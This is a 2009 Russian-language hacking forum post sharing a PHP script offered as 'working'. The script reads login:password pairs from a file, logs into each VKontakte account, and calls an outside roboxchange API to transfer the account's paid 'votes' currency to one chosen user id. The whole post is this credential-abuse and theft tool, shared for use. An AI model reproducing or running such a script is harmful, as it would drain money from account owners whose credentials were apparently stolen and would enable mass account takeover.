Показать сообщение отдельно

  #9  
Старый 27.05.2009, 00:03
waweb
Новичок
Регистрация: 16.06.2006
Сообщений: 5
Провел на форуме:
398484

Репутация: 7
По умолчанию

вот рабочий с вас плюсег
PHP код:
<?php
set_time_limit
(0);
$to "1"// vote to id

function curl($url,$post

//echo "$url | $post <br>\n";
    
$cfile 'cookies.txt'
    
$ch curl_init(); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_HEADER0); 
    
curl_setopt($chCURLOPT_POSTFIELDS$post); 
    
curl_setopt($chCURLOPT_COOKIEJAR$cfile);  
    
curl_setopt($chCURLOPT_COOKIEFILE$cfile);  
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    
curl_setopt($chCURLOPT_POST1); 
    
$result curl_exec($ch); 
    
curl_close($ch);  
    return 
$result
     
}; 

function 
transfer_vote($email,$pass,$to){
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 
$result curl("http://vkontakte.ru/app577176","");
preg_match("/viewer_id\", \"(.*?)\"/i"$result$user_id);
preg_match("/balance = (.*?);/i"$result$vote);
preg_match("/join(.*?)'>/i"$result$appsl);
preg_match("/app_id = (.*?);/i"$result$app_id);
preg_match("/app_hash = '(.*?)';/i"$result$app_hash);
preg_match("/app_hash: '(.*?)',/i"$result$app_hashh);
preg_match("/auth_key\", \"(.*?)\"/i"$result$auth_key);
$result curl("http://vkontakte.ru/apps.php?act=join&id=577176&hash=".$app_hashh['1'],"");
echo 
"#add:".$vote['1']." vote...<br>";
    
flush(); 
    @
ob_flush();
$result curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=577176&app_hash=".$app_hashh['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
$result curl("http://misc.roboxchange.com/External/VKontakte/API.ashx?authKey=".$auth_key['1']."&APImethod=transferVotes&fromId=".$user_id['1']."&Id=".$to,"");
return 
$result;
}
echo 
"<hr color = 'orange'><center><font color = 'red+blue'><b>FAKE v2.0 Betta</b><hr width = '10%'><font color = 'white'><b>WaWeb</b></font> & <font color = 'orange+white'><b>Greshnick</b></font> <br> <font color = 'white'><b>525481</b></font> &  <font color = 'orange+white'><b>444 567 473</b></font><br> </center>";
$aks file("votes.txt"); // AC file, login:pass
foreach($aks as $k => $v){
$ak explode(":"trim($v));
echo 
"#login.:".$ak['0']."pass.:".$ak['1']."<br>";
$vote_res transfer_vote($ak['0'],$ak['1'],$to);
if(
$vote_res >= "0"){
echo 
"#ok...<br>";
}else{
echo 
"#error...<br>";
}
echo 
"------------------------------------------<br>";
    
flush(); 
    @
ob_flush();
}
?>